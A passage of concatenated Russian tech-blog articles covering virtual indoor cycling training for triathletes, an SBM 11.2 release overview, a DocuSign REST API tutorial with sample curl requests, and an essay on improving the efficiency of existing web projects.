сердечно-сосудистой систем будущего гонщика под присмотром тренера. Но куда интереснее поиграть в Need For Speed прокатиться по виртуальной трассе. Возьмём, к примеру, Французские Альпы: Альпы с доставкой на дом Велостанок подключается к ЭВМ, ЭВМ к проектору или телевизору (у ребят, с которыми я тренировался, есть и то и другое, просто проектор на фотографиях почти не виден), и — оп! мы уже едем в гору или с горы. Перед нами красивые пейзажи, а педали велосипеда приходится крутить ровно с тем усилием, с которым пришлось бы крутить в реальной жизни именно на этом самом подъёме. Система позволяет имитировать езду по тому самому маршруту, по которому вы, к примеру, поедете через 4 месяца на соревнованиях или прокатиться по ближайшему серпантину с прикрепленным смартфоном к рулю и после вылить в сеть — именно так любой желающий может порадовать своих велособратьев, которым не повезло с серпантинами. Вам даже придется обгонять или пропускать проезжающие мимо него машины (образно, конечно, т.к. руль велосипеда к станку не подключен). Было бы круто ещё подключить VR-очки (полное погружение), — надеюсь, что это вопрос ближайшего будущего, а пока — едете, посматриваете на экран и не страдаете от тоскливого ощущения езды в никуда или в стенку. Как записываются треки Теперь не обязательно смотреть в стену Конечно, есть ряд отличий от реальной трассы: в первую очередь, это отсутствие ветра, жаркого солнца и других погодных условий (спортсменам, когда счет идет на миллисекунды, важно любое дуновение ветерка, освещенность трассы и т.д.). Во-вторых, нужно будет “вспоминать”, как входить в повороты, уже тренируясь на улице. Чтобы воссоздать атмосферу гонок, можно поставить мощный вентилятор напротив (такие разговорчики на тренировке были, только я не понял, шутил там кто или нет) или попросить вашего товарища периодически толкать вас в бок, — всякое же может случиться на реальном маршруте. Но велоорганизм благодаря тренировкам в помещении будет полностью готов к работе на свободе, а при первой возможности надо выехать на реальную дорогу и потренироваться там. С велостанком уже нет определенных требований к трассе для тренировок — затяжные подъемы и поддержание организма в тонусе зимой с лёгкостью на нём отрабатываются. Виртуальный финиш Теперь о самих ребятах, которые “научили” меня ездить на велосипеде. Команда сейчас готовится к соревнованиям “Ironman” по триатлону — это мультиспортивная гонка, когда спортсмен сначала плывёт (3,8 км в открытой воде), потом активно педалирует (180 км), потом бежит на своих двоих марафонскую дистанцию (42 км). Сама гонка — событие международного масштаба, и не удивительно, что в ней принимают участие спортсмены из разных уголков планеты и разного уровня. Некоторые из них тренируются удаленно, подключив вебкамеру и наслаждаясь совместной виртуальной тренировкой и общением с товарищами. Удаленные велотренировки — еще один аргумент для того вашего знакомого, который хотя и не решается выходить из дома, но всё же желает заниматься спортом и общаться с себе подобными. Теплая ламповая домашняя атмосфера. На фото есть подвох для внимательных В соревнованиях по триатлону не обязательно должны участвовать только профессиональные спортсмены — в большинстве своем это любители. Последние не брезгуют использовать GoPro на своих велозаездах и отправлять весь отснятый материал своему тренеру для получения ценных указаний на следующий день тренировок. Сложнее дело обстоит с бассейном: бассейн дорогой (в одиночку не построить), а в арендованном (читай — общественном) местные тренера могут тебя попросить покинуть заведение, даже если ты будешь тренироваться со своим старшим товарищем — тут уже не до телемостов и конференций. Но тем не менее тренера сами снимают обучающий материал (в простонародии — “видеокурсы”) и наставляют своих учеников, а наша команда научилась проводить полноценные on-line тренировки. Необычное сочетание снаряжения для триатлона Очевидно, что тренировки на велосипеде должны проходить на ровной и сухой трассе посреди вечного лета, но что делать, когда вокруг вас 9 месяцев в году лежит снег и нет ни одного долгого и достаточно крутого подъёма, а нужно готовиться к серпантинам Мальорки? На Geektimes уже появился Алексей sportfactory (под номером 4 на первой фотографии) — ему тоже можно задавать вопросы по триатлону.
https://geektimes.ru/post/283866/
habrahabr
Предновогодний релиз SBM 11.2
['sbm', 'serena', 'micro-focus', 'bpm-системы', 'bpm']
Компания Micro-Focus Serena (как же непривычно и длинно теперь писать название) в ранее объявленные сроки выпустила обновление платформы автоматизации бизнес-процессов SBM. Причем, с момента...
Компания Micro-Focus Serena (как же непривычно и длинно теперь писать название) в ранее объявленные сроки выпустила обновление платформы автоматизации бизнес-процессов SBM. Причем, с момента предыдущего релиза прошло всего несколько месяцев, что особенно радует. Давайте посмотрим, какие новогодние подарки SBM припрятаны в этой версии. Новый тип поля – Файл/URL Думаю, что эта фича претендует на звание самой полезной и перспективной в наступающем 2017 году. Судите сами. Практически во всех бизнес-процессах существуют формы документов, требующихся на тех или иных этапах: служебные записки, приказы, входящая/исходящая корреспонденция, заявка на работу, наряд о выполненных работах, отчеты и т.д. Ранее SBM позволяла на переходе потребовать от пользователя прикрепить какой-нибудь файл. Вся тонкость именно в этой неопределенности – ни тип файла не потребовать, ни название, ни назначение. Кроме того, все прикрепленные файлы показывались на форме в одном списке в специальной секции приложений. Drag-and-drop не поддерживался. Кто-то вспомнит, что Drag-and-drop появился в мемо полях при верстке текста с использованием wisiwig редактора. Это правда, однако на практике, некоторые «умные браузеры» трактуют Drag-and-drop как приказ открыть картинку в отдельной вкладке… Возможности нового типа поля файл/url выглядят просто фантастикой: Атрибут такого типа можно расположить в любом месте формы объекта; Как и для любого поля в SBM, можно управлять свойством обязательности (required); Поддерживается Drag-and-drop; Поле может содержать более одного файла (настраивается); Можно указать тип файла, допустимого для ввода в это поле; Пока есть некоторое ограничения по работе с атрибутами этого типа через API и Appscript, которые будут постепенно устраняться в следующих версиях. Конфигуратор настроек рабочих столов пользователей в Workcenter Всем хороша современная разметка экранов workcenter, но отсутствие удобных средств централизованного администрирования настроек рабочих столов пользователей сильно расстраивало. Теперь такая возможность появилась, и администратор может подготовить настройки по умолчанию виджетов рабочих столов, отчетов и другие представления для каждого приложения или группы приложений. Да, кстати, теперь вы сами можете настроить интервал обновления данных на виджетах (от 2х до 60 минут). SLA Встроенный движок SLA, соответствующие отчеты и уведомления перекочевали из платного решения SSM в состав платформы SBM и стали еще одной бесплатной интегрированной компонентой на радость всем! Усовершенствованный почтовый клиент (Mail Client) Целый ряд улучшений появился в подсистеме чтения и обработки входящей почты, которые стоит здесь упомянуть: Теперь для одного сервера SBM вы можете настроить множество почтовых серверов, а не один как ранее. Для компаний, у которых используется несколько почтовых доменов и серверов, это очень важный плюс! Появились возможности по настройки переадресации писем на другие ящики. Надо попробовать. Для некоторых сценариев, это может быть интересно. Картинки, встроенные в текст писем, корректно обрабатываются и правильно сохраняются вместе с текстом в поля типа memo и примечания. Тэг для обработки почтовой переписки между пользователями [TableId:ItemId] теперь может быть указан не только в теме письма, но и в тексте письма. Почтовый клиент теперь умеет сам разбирать/анализировать текст письма и находить в нем значения для полей объекта. В сценариях обработки ответов руководства в состояниях принятия решений теперь допускается решение оформлять и в теме письма, например, добавив Yes в начало темы. Поддержка операций импорта и обновлений групп из LDAP Модуль интеграции SBM с LDAP теперь умеет синхронизовать группы, а не только профили отдельных пользователей. Улучшения в Workcenter В представлениях Канбан, где действует drag-and-drop между состояниями процесса, доделана обработка тех случаев, где на переходах требуется добавить примечание или прикрепить файл; При настройке ленты событий появилась возможность предварительного просмотра списка объектов, которые попадут в ленту, по аналогии с режимом предварительного просмотра в дизайнере отчетов; В представлениях Backlog пользователь может изменять ширину колонок; При верстке исходящих писем из SBM теперь можно указывать более 10 получателей; Улучшения в отчетах Фильтр по текстовым полям перед исполнением отчета (Query-At-Runtime) в условиях поиска теперь поддерживает возможность указания нескольких фрагментов текста через пробел. Поиск вхождений строк будет осуществляться с логическим операндом ИЛИ, например, Название Содержит 'a' ИЛИ Название Содержит 'b' ИЛИ Название Содержит 'c'; По расписанию можно запускать Встроенные и Системные отчеты; В отчетах распределения можно выбирать суб-реляционные поля для показа в отчете; Джойны (Join) таблиц теперь поддерживают логические операции; Пользователь может задавать свои константы для операндов вида Plus|Minus N дней. Улучшения в утилитах Администрирования Утилита удаления блокировок записей теперь “не слепая” и показывает Номер записи, которую заблокировал пользователь. Поддержка современных версий операционных систем и СУБД Теперь SBM поддерживает версии Microsoft Windows Server 2016 и SQL Server 2016 С наступающим Новым Годом! Желаем Всем простого, но яркого и интересного 2017 года!
https://habrahabr.ru/company/softmart/blog/318030/
habrahabr
Как заполнять и подписывать документы автоматически с помощью DocuSign
['DocuSign', 'документооборот', 'электронный документооборот', 'электронная подпись', 'api', 'integration', 'microservices']
Мы делаем это стоя. В зимней одежде. Под пристальным взглядом чиновника, сотрудника банка или страховой службы. Даже если делать это дома с комфортом, остаётся риск совершить ошибку и начать...
Мы делаем это стоя. В зимней одежде. Под пристальным взглядом чиновника, сотрудника банка или страховой службы. Даже если делать это дома с комфортом, остаётся риск совершить ошибку и начать заново. Я говорю о работе с бумажными документами, ведь чаще всего это происходит именно так. Избежать ошибок такого рода помогает автоматизация заполнения. В этой статье я расскажу про то, как помогал одному клиенту Лайв Тайпинг автоматизировать заполнение и подпись бланков страховых компаний с помощью сервиса DocuSign . После его введения количество клиентов и их лояльность повысились. Что такое DocuSign? DocuSign — это сервис, позволяющий загружать, отправлять на подпись, просматривать, подписывать и отслеживать статус документов. Делать это можно как из интерфейса сервиса, так и с помощью собственного клиента, который должен использовать API и Embedded View для просмотра и подписи документов. Правовой статус DocuSign может работать как с факсимильными, так и с цифровыми подписями. Если вы планируете работать на западном рынке, то проблем с этим возникнуть не должно. В России вам нужно учитывать, использование факсимиле определяется законодательством или специальным соглашением сторон. Есть ряд случаев, в которых использовать факсимиле нельзя. Более подробно об этом можно прочитать на портале «Гарант» . Безопасность Безопасность документов и электронных подписей сертифицирована в соответствии со стандартом ISO 27001, определяющим основные положения в области систем информационной безопасности. Все данные между клиентом и сервисами DocuSign передаются в зашифрованном виде по протоколу HTTPS. Документы и шаблоны, которые хранятся в DocuSign, зашифрованы с помощью алгоритма AES-256. HIPAA Compliance DocuSign позволяет работать с документами и электронными подписями в полном соответствии с HIPAA (Health Insurance Portability and Accountability Act, или закон США «О перемещаемости и подотчётности страхования здоровья», изданный в 1996 году). Закон определяет стандарты по обеспечению конфиденциальности информации о здоровье: состоянии здоровья, прохождении лечения или оплате медицинских услуг. Начало работы Наша цель — заполнять и отправлять бланки с помощью DocuSign. Предположим, что нам нужно отправлять один и тот же PDF-документ разным людям. Мы могли бы отправлять его по почте вручную, однако для этого в DocuSign существует специальный механизм. Механизм оперирует следующими сущностями: Template. Сущность инкапсулирует в себе PDF-документ, поля документа и соотношения между полями и ролями получателей. Это значит, что одно поле с подписью может быть для нанимаемого сотрудника, а другое — для начальника отдела кадров или директора; Envelope. Контейнер для хранения и отправки одного и более многостраничных документов. Процесс работы с документами состоит из: создания шаблона (Template); отправки документа выбранным получателям; сохранения конечного документа. Разберём каждый шаг по отдельности. Регистрация демо-аккаунта Для получения доступа ко всем функциям DocuSign необходимо создать демо-аккаунт. Для этого в разделе Developers на главной странице DocuSign нажмите кнопку Create Sandbox: Остаётся подтвердить свою учетную запись, и мы готовы идти дальше. Создание шаблона Для создания шаблона: 1. перейдите во вкладку Templates и нажмите New -> Create Template; 2. введите название и описание для шаблона: 3. Загрузите документы: 4. Добавьте получателей. Для повторного использования и отправки шаблона разным получателям можно задать только название роли (например, employee для роли сотрудников компании): 5. Нажмите кнопку Next. После этого мы попадём на экран добавления полей в документ, которые в дальнейшем сможет заполнять его получатель. Если получателей несколько, поля могут быть назначены для каждого из них. У каждого поля есть ряд параметров. На параметре Data Label стоит заострить своё внимание. Его можно использовать как идентификатор при работе с данными шаблона или документа через API. Стоит отметить, что Data Label — не уникальное значение, поэтому поля с ним могут дублироваться. Это полезно, если вам нужно автоматически заполнить сразу несколько полей с именем одного и того же человека. Отправление документа Чтобы отправить документ получателям, которые его затем заполнят и подпишут, необходимо нажать на кнопку Use напротив выбранного шаблона. После этого откроется окно, в котором нужно ввести имена и email’ы получателей: После того, как вы отправили документ, выбранным получателям придут уведомления с просьбой проверить, заполнить и подписать документ. В письме будет ссылка на форму с документом. Если у этого документа только один получатель, то после подписания его статус будет заменён на Completed, что будет видно в интерфейсе DocuSign. После этого заполненный и подписанный документ можно скачать. В случае, если получателей два и больше, статус документа останется прежним (Sent). Всё то, что мы сейчас проделали вручную (отправили документ нужным получателям, а получатели заполнили его), можно делать автоматически, используя API. Об этом пойдёт речь в следующем разделе. Начало работы с API У DocuSign есть два интерфейса API: SOAP и REST. Мы будем рассматривать второй вариант, поскольку он более нагляден, а также содержит в себе наиболее полную реализацию методов. REST API позволяет подписывать документы, отправлять документы на подпись, а также автоматизировать документооборот. Для работы с REST API нам нужно авторизоваться. Для этих целей в API добавлена возможность передавать данные для авторизации в специальном заголовке, в котором должно быть имя пользователя, пароль, а также Integrator Key. Для начала разберёмся, как получить Integrator Key, а затем вернёмся к составлению запросов к API. Получаем Integrator Key Integrator Key (также Client ID) — это уникальный идентификатор для получения доступа к DocuSign API. Для одного аккаунта может быть зарегистрировано несколько таких ключей. Сделано это для того, чтобы разделить окружения и использовать свой ключ для каждого из них. Изначально в новых аккаунтах ключей нет, поэтому придётся его создать. Для этого вам необходимо зайти в свой аккаунт и выполнить эти шаги: 1. Перейдите в DocuSign Admin: 2. В меню слева выберите API and Keys: 3. Нажмите ADD INTEGRATION KEY: 4. Добавьте описание приложения: 5. Нажмите Add Готово. Теперь ключ можно найти в секции My Integrator Keys. Создаём запросы к DocuSign Каждый запрос к DocuSign должен сопровождаться заголовком X-DocuSign-Authentication, где в формате JSON передаются имя пользователя, пароль и Integrator Key. Такой формат следует использовать только для интеграции сторонних сервисов с DocuSign. Для работы с клиентскими приложениями (например с приложением на iOS) необходимо использовать OAuth. Нашим первым запросом к DocuSign должен быть запрос на получение информации об аккаунте. Там же будет находиться так называемый baseUrl — url, который должен использоваться для составления последующих запросов к DocuSign. $ curl -i -H 'X-DocuSign-Authentication: { "Username": "developer@example.com", "Password": "example", "IntegratorKey": "00000000-aaaa-bbbb-cccc-0123456789b" }'\ https://demo.docusign.net/restapi/v2/login_information { "loginAccounts": [ { "name": "Developer", "accountId": "9999999", "baseUrl": "https://demo.docusign.net/restapi/v2/accounts/9999999", "isDefault": "true", "userName": "Dev Eloper", "userId": "00000000-aaaa-bbbb-cccc-0123456789a", "email": "developer@example.com", "siteDescription": "" } ] } Вооружившись baseUrl и заголовком X-DocuSign-Authentication, мы готовы делать запросы к API. Получение шаблона Предположим, что у вас уже есть база шаблонов, которую проще всего слелать через интерфейс DocuSign. Мы будем использовать шаблон, который уже создали ранее. В качестве примера возьмём согласие на обработку персональных данных, в котором нам необходимо заполнить поля с данными о получателе документа. Первое, что нам нужно сделать, это получить нужный шаблон. Мы можем сделать это, если знаем его идентификатор. Идентификатор можно получить, перейдя на страницу шаблона в вашем аккаунте. $ curl -i -H 'X-DocuSign-Authentication: { "Username": "developer@example.com", "Password": "example", "IntegratorKey":"00000000-aaaa-bbbb-cccc-0123456789b" }'\ https://demo.docusign.net/restapi/v2/accounts/9999999/templates/00000000-aaaa-bbbb-cccc-0123456789c Данные о полях шаблона содержатся в свойстве tabs, которое принадлежит свойству recipients. Из всего ответа сейчас нас интересует именно оно: { "recipients": { "signers": [ { "tabs": { "signHereTabs": [ ... ], "dateSignedTabs": [ ... ], "textTabs": [ ... ] }, "name": "", "email": "", "roleName": "employee" }, { "name": "", "email": "", "roleName": "hr" } ], "agents": [], "editors": [], "intermediaries": [], "carbonCopies": [], "certifiedDeliveries": [], "inPersonSigners": [], "recipientCount": "2" } } В DocuSign существует семь типов получателей: Agents, Carbon Copies, Certified Deliveries, Editors, In Person Signers, Intermediaries, и Signers. В нашем шаблоне мы используем только Signers*, поэтому и рассматривать мы будем только этот тип. *Своим названием этот тип говорит о том, что его получатели должны подписать документ. Это вовсе не обязательно: если не назначить этому пользователю поля, которые он должен заполнить (или подписать), то ему будет достаточно открыть документ и просмотреть его. Как уже было упомянуто выше, у каждого получателя есть свойство tabs, в котором содержатся все поля в документе. Поля делятся ещё на несколько типов. Мы не будем рассматривать все из них и в целях экономии времени возьмем только textTabs (поля для ввода текста) и signHereTabs (поля для подписей). Это два основных поля, которые чаще всего встречаются в документах. Перейдём к автозаполнению. Заполнение полей и отправка документа получателям Для того, чтобы DocuSign сам подставил нужные значения, при создании документа необходимо передать список всех получателей, добавив свойство tabs для получателей, которым вы хотите заполнить поля. Поле обязательно должно содержать свойства name, tabLabel, xPosition, yPosition, а также значение поля ввода value. Мы уже говорили про tabLabel выше — это поле пригодится нам для его идентификации. Например, с полем с tabLabel, равным nameFull, можно однозначно сопоставить полное имя получателя и добавить его в value. В нашем документе есть поля для заполнения: nameFull, idNumber, idIssuedBy, idType и addressFull. Зададим значение для этих полей и отправим документ: nameFull: “Иван Петров” idNumber: “1234 567890” idIssuedBy: “УВД” idType: “паспорт” addressFull: “Московский проспект, 12, кв. 221” Чтобы создать документ, выполним такой запрос: $ curl -X POST -H 'X-DocuSign-Authentication: { "Username": "developer@example.com", "Password": "example", "IntegratorKey":"00000000-aaaa-bbbb-cccc-0123456789b" }'\ -d '{ "status": "sent", "emailSubject": "Example", "templateId": "00000000-aaaa-bbbb-cccc-0123456789c", "templateRoles": { "signers": [{ "name": "Иван Петров", "email": "ivan@email.com", "recipientId": "1", "routingOrder": "1", "tabs": { "textTabs": [ { "xPosition": "150", "yPosition": "200", "name": "Full Name", "tabLabel": "nameFull", "value": "Иван Петров" }, ... ], } }] } }'\ 'https://demo.docusign.net/restapi/v2/accounts/9999999/envelopes/' В ответе будет содержаться идентификатор созданного документа (envelopeId), дата последнего изменения статуса (statusDateTime) и сам статус (status): { "envelopeId": "00000000-aaaa-bbbb-cccc-0123456789d", "uri": "/envelopes/00000000-aaaa-bbbb-cccc-0123456789d", "statusDateTime": "2016-09-27T19:52:09.7670000Z", "status": "created" } Документ заполнен и отправлен, и получателю не нужно заботиться о том, чтобы вписывать свои данные самостоятельно. Вот так выглядит форма заполнения документа: Сертификация Сертификация необходима для того, чтобы вы могли использовать интеграцию с DocuSign в рабочей среде. Для того, чтобы процесс сертификации прошёл без сучка без задоринки, необходимо, чтобы ваш клиент удовлетворял следующим требованиям: 1. не использовать недокументированные особенности API; 2. не использовать фичи, к которым у вас нет доступа в силу ограничений подписки; 3. не выходить за пределы выделенной квоты. Что сделать, чтобы пройти сертификацию? 1. Заполнить и отправить форму запроса на сертификацию в Developer Center, в которой вы укажете: Integrator Key Account ID интервал времени, за которое нужно будет выполнить не менее 20 запросов к DocuSign. Запросы будут отражать то, как вы планируете использовать API 2. Использовать ваше приложение в выбранный временной интервал, сделать не менее 20 транзакций с DocuSign. 3. Если всё в порядке, то вы получите Post Certification Guide для подготовки к релизу. Обычно на этот процесс уходит не более недели, но я не рекомендую делать это перед самым релизом — без сертификации документы не будут иметь юридической силы, а вы не будете иметь доступа к поддержке DocuSign. Заключение В этом примере мы максимально поверхностно рассмотрели особенности интеграции с DocuSign, а также создали клиент для автозаполнения шаблонов и отправки документов на подпись. Я надеюсь, что этих знаний вам будет достаточно для того, чтобы понять, использовать ли сервис и продумать более сложную интеграцию или нет.
https://habrahabr.ru/company/livetyping/blog/317904/
habrahabr
Системный подход в повышении эффективности работающего веб-проекта
['поддержка проекта', 'развитие проекта', 'системный подход', 'анализ эффективности', 'обновление технологий']
В Интернете есть много разных материалов о том, как правильно делать новые интернет-проекты, как их потом продвигать, как улучшать уже существующий интерфейс и т.д. Но вот чего нет, так это...
В Интернете есть много разных материалов о том, как правильно делать новые интернет-проекты, как их потом продвигать, как улучшать уже существующий интерфейс и т.д. Но вот чего нет, так это системного взгляда на проблему поддержки и развития существующих проектов. Многие думают, что это как покупка хорошего нового автомобиля: купил и иногда масло меняешь, может новый коврик купишь за пару лет. На самом деле, это неправильный подход: недостаточно раз в год оплачивать хостинг и домен. Даже иногда вносить доработки недостаточно. Сайт — это инструмент, и он должен работать максимально эффективно. Над всеми успешными сайтами работа идет постоянно и непрерывно. В этой статье я постараюсь системно посмотреть на проблемы уже работающих сайтов, а также дать рекомендации, как можно постоянно увеличивать их эффективность. Материал будет полезен владельцам существующих проектов, позволит всесторонне посмотреть на вопросы поддержки и развития с привязкой к экономической эффективности, а для некоторых, возможно, вдохнет новую жизнь в старый проект. Как обычно происходит? Предприниматель задумывает какой-то новый интернет-проект, он создается силами компании-подрядчика или штатной команды, начинается его продвижение. Далее, если идея и реализация проекта качественные, он начинает получать первых пользователей и приносить первые деньги. При хорошем сценарии он в какой-то момент преодолевает точку безубыточности, и проект часто становится дойной коровой. Особенно это актуально для проектов в области электронной коммерции. Именно в этот момент поддержка и доработка сайта часто скатывается в вялотекущую правку багов и, возможно, обновление дизайна раз в 5 лет. За эффективностью сайта часто никто не следит. Хорошо, если с проектом работает интернет-маркетолог и хотя бы иногда смотрит Google Analytics или Яндекс.Метрику. У некоторых даже есть отчеты по маркетингу, где видно количество посетителей. Нужно больше продаж? Давайте увеличим бюджет на контекстную рекламу или расширим семантическое ядро для SEO. Такой банальный инструмент, как цели сайта и отслеживание конверсии, делают не многие. О расчете стоимости посетителя и анализе эффективности по каналам я вообще молчу. А происходит это потому, что хороших маркетологов у нас в стране крайне мало, так как все «пишут код» на аутсорсе и не умеют работать с продуктами, да и сами предприниматели не сильно понимают, что делать со своими сайтами. За интерфейсом сайта тоже никто не следит. Было бы очень интересно посмотреть на статистику по использованию карты кликов самими владельцами сайтов. Думаю, большая половина её никогда не использовала вообще, а ведь это базовый инструмент, который позволяет отслеживать эффективность интерфейса. Чаще всего интерфейс сделали и забыли, по крайней мере до полного редизайна сайта. Мало кто вспоминает про большие проекты, которые постоянно проводят A/B-тестирование, чтобы анализировать эффективность интерфейса и повышать её. Именно от интерфейса зависит конверсия, а значит, и эффективность всех маркетинговых усилий. Добиться роста продаж можно несколькими путями: например, увеличением маркетингового бюджета, что позволит привести больше трафика на сайт, или улучшением интерфейса, что при равном количестве пользователей сайта даст больше продаж. Второй вариант более правильный и должен идти в списке дел раньше. То есть сначала мы должны добиться максимальной конверсии, а потом уже вкладывать деньги в рекламу, чтобы каждый доллар тратился с максимальной отдачей. Или, в крайнем случае, делать это параллельно. По технологиям тоже все сложно. Постепенно, технология, на которой сделан сайт, начинает устаревать. Выходят новые версии языка, фреимворка или CMS. Обновляться до новой версии никто не хочет, не видя особой разницы для бизнеса. Зачем? Ведь сайт работает! Постепенно в проекте накапливается много старого кода, так как на его рефакторинг при доработке также не хватает денег и времени. unit-тесты сразу никто не писал, накапливаются и ошибки. Стоимость поддержки начинает непрерывно расти. Технология стареет иногда так, что даже официальную документацию уже сложно найти, а обилие устаревшего кода сильно тормозит программиста. Да и программисты часто успевают поменяться на проекте, а старые после себя крайне редко оставляют документацию. Но это никто не замечает, ведь задачи в итоге решаются, проект приносит деньги, стоимость поддержки никто не оценивает… Внешне все работает, а на самом деле идет постоянная и неэффективная растрата бюджета. И самое страшное то, что объективно оценить это довольно проблематично, а текущий разработчики никогда в этом не признаются. Я неделю назад вообще встретил случай, когда текущий подрядчик нового клиента специально не обновлял версию фреймворка, чтобы дольше делать и получать больше оплаты за потраченные часы. Знакомая ситуация? Узнаете себя или своих знакомых? Первичные документы и информация Для начала нужно убедиться, что у нас есть все необходимые документы и доступы для дальнейшей работы. Приводим в актуальное состояние или создаем с нуля: Доступы к сайту. Прежде всего по FTP и SSH, это нужно для дальнейшей его разработки. Во вторую очередь — к системе управления сайтом. Документация. Каждый разработчик должен вести документацию: что пишет, где хранится, как работает и т.д. Чем больше проект, тем больше документации по нему должно быть. Обычно этим пунктом пренебрегают, и новому разработчику очень сложно разобраться в старом коде. По моим ощущением документация есть у менее, чем 10% проектов. И если её у вас сейчас нет, то самое время её сделать, а потом еще отдать сторонней компании на проверку. Сторонние сервисы. Доступ к Google Analytics и Google Search Console, Яндекс.Метрики и Яндекс.Вебмастер, в некоторых ресурсах есть и ряд специфических интеграций, доступы по ним тоже должны быть. Маркетинговая статистика. Если ранее проводили рекламные кампании, по ним должна быть статистика. SEO? — по каким словам, как менялись позиции, были ли фильтры и т.д. PPC? — по каким словам, каким ставкам, какие объявления и т.д. SMM? — доступ к фан-страницам, статистика упоминания бренда, статистика по трафику и т.д. Чем больше старой статистики, тем более эффективными можно сделать дальнейшие маркетинговые активности. Аудиты. Если ранее проводились какие-либо аудиты — тоже самое: должны быть отчеты и результаты. Описание проекта. Хорошо, когда у нас что-то понятное и стандартное, типа интернет-магазина. Но часто бывают огромные системы, полное понимание которых должно содержаться в специальном структурированном документе. Например, взять хотя бы какую-либо систему расчета рейтинга. У любого нового разработчика будет куча вопросов: «По какой формуле высчитывается?», «С чем связана?», «Для чего нужна?» и т.д. А это ведь обычная функция, которая в интерфейсе может выражаться всего одним числом, но быть связанна со всем на сайте. Чем больше проект, тем больше он изменяется с течением времени. Любой хороший специалист, будь он маркетолог или разработчик, начнет с вопросов, касающихся прошлого сайта и текущей ситуации, а только потом уже будет разрабатывать рекомендации. Стратегия развития Я люблю все планировать — это позволяет понять, где мы сейчас и куда идем. Развитие сайта — это тоже стратегия, в которой должны быть понятные цели и четкие KPI. Только так можно добиться эффективности. Причем стратегия должна раскрывать планы как по развитию самого сайта, так и по его продвижению на рынок. Для начала нам стоит прислушаться к самим пользователям. Это можно сделать, изучая их поведение на сайте с помощью Google Analytics, Яндекс.Метрики или других инструментов. Можно напрямую спрашивать обратную связь через формы обратной связи или интервью. Можно использовать метод «разумного заимствования» у конкурентов. И еще сотни разных способов. Опять же многое зависит от проекта. Если он более-менее стандартный, и на рынке много аналогов, то должны быть известны Best practice, их нужно просто применить. Если уникален, то тут сложнее, придется экспериментировать. Есть много разных подходов к разработке стратегий, этот материал не про них. Ресурсы у всех всегда ограничены, поэтому заниматься всем сразу вряд ли получится. Я считаю, что нужно начинать с самого важного, то есть с того, что напрямую влияет на прибыль. В частности, проработки самой бизнес составляющей (все, что связано с развитием клиентов), оптимизации маркетинговых затрат (речь не про урезание, а про повышение эффективности), интерфейса (конверсия и удобство использования) и качества технического решения (оно должно работать стабильно, а стоимость поддержки должна быть оптимальная). По всем этим фронтам нужно сделать срез, а после продумать план действий. Алгоритм системной работы над проектом следующий: Провести всесторонний аудит проекта Запросить обратную связь пользователей Проанализировать прямых и косвенных конкурентов Выявить самые ожидаемые и прибыльные для проекта функции Расставить приоритеты по внедрению Проработать каждый пункт и внедрить Отслеживать эффективность внедрений При всех этих действиях следует считать ROI. Есть вещи, которые выгодно делать прямо сейчас. Как, например, обновление технической платформы может в разы уменьшить стоимость поддержки, и хотя это обновление и потребует денег, оно довольно быстро окупится, то есть ROI будет высоким. А есть улучшения, которые не несут особой выгоды для проекта. Большие компании планируют на несколько лет вперед. Когда речь идет об интернет-проекте, даже маленьком, нужно планировать хотя бы на год, а лучше на 3-5 лет. А дальше, постоянно слушая клиентов, эту стратегию можно корректировать. Конечно, в Интернете все постоянно меняется, но кто не имеет цели, тот к ней точно не дойдет. Product Development То, что мало кто умеет делать, но от чего зависит вообще весь бизнес. Это развитие продукта вокруг клиента и его проблем. Методология направлена на то, чтобы тщательно и постоянно анализировать потребности клиентов и улучшать продукт. То есть работа над теми вещами, которые приносят деньги проекту. И эта методология применима ко всем проектам. Главное — ответить на вопрос: «Что еще нужно клиенту?». Представим, что у нас проект, который предоставляет какую-то услугу или продает какой-то товар. Как нам увеличить продажи? Всегда есть тысяча способов: можно с товаром давать в подарок что-то бесплатно, можно улучшить предоставление услуги (скорость, качество, сервис), можно вообще придумать новый продукт в рамках существующего проекта. Или другой пример, более близкий к нашим реалиям: до сих пор у многих интернет-магазинов нет возможности купить в кредит. А ведь в офф-лайне более 50% товаров продается в кредит! То есть многие интернет-магазины теряют очень большую долю клиентов, хотя, возможно, они вполне успешные и могут продавать действительно много товаров и даже не подозревать, что теряют десятки процентов недополученной прибыли. И таких примеров очень много, они есть в каждом интернет-проекте. Действительно ли вы все делаете для развития ваших клиентов? А может они могут покупать больше и чаще? Эти вопросы мало кто себе задает, и тут часто кроется огромная недополученная прибыль. Интерфейс и дизайн Тут самое главное понимать, что красивая картинка еще не означает удобный интерфейс. У каждого сайта и каждой страницы есть цель(и). И эффективность интерфейса может измеряться только тем, достигает он поставленных целей или нет. Это не обязательно продажа чего-либо, это могут быть регистрации, количество просмотренных страниц, написание комментария и т.д. Все эти цели измеряемы, и над улучшением каждой из них нужно работать. Проблема старых проектов в том, что такие цели чаще всего даже не ставятся. Многие мыслят очень широкими категориями: «У нас есть продукт, нужно его продать». Для начала нужно определить основные KPI сайта и самых важных его разделов. Это лучше делать с UX / UI проектировщиком, который хорошо разбирается в проектировании и тематике проекта. Затем нужно проанализировать Google Analytics и Яндекс.Метрику, изучить поведение пользователей. Затем собрать обратную связь от пользователей и подумать над Product Development. И уже после этого начинать улучшать интерфейс, имея на руках все нужные материалы. Изменения можно внедрять двумя способами: Вслепую, когда мы основываемся на опыте проектировщика. Через A/B-тестирование, когда эффективность каждого эксперимента замеряется. Идеального варианта нет. В первом случае у нас высокий риск человеческого фактора. Даже самый опытный проектировщик может ошибаться (все мы люди). Однако, обычно есть очень много очевидных вещей, эффективность которых давно доказана. Во втором случае можно неправильно провести сам тест. И дело тут не в знаниях группы специалистов, которые его будут проводить. Возможно, был выбран слишком маленький участок для теста, возможно в дни теста пришло большое количество новых посетителей, возможно пользователи привыкли к старому интерфейсу, и новый, не смотря на то, что он лучше, их просто путает. Вариантов тут может быть много, поэтому с внедрением нужно быть осторожным, но все равно изменение результатов лучше, чем его отсутствие. Старый интерфейс можно постоянно перерабатывать и улучшать. Но всегда есть новые идеи, развитие того, что есть. Это должен быть непрерывный процесс, непрерывное улучшение. Как правило, первоначальное видение проекта, когда разрабатывается его MVP, с течением времени довольно быстро меняется. Это происходит несколько раз: сначала, когда он только начинает разрабатываться, а потом, когда проект уже работает, и начинают идти первые отзывы от пользователей. Иногда проекты меняются не только внешне, но и меняют свою основную идею. Это еще одна причина, почему нужно слушать пользователей, и на основе их обратной связи внедрять улучшения. В октябре, во всем мире, количество мобильных пользователей в мире превысило количество десктопных. Но при этом, у многих проектов есть проблемы с адаптивностью под разные устройства. Мало того, что многие старые сайты не адаптивные изначально, так даже у адаптивных обычно много 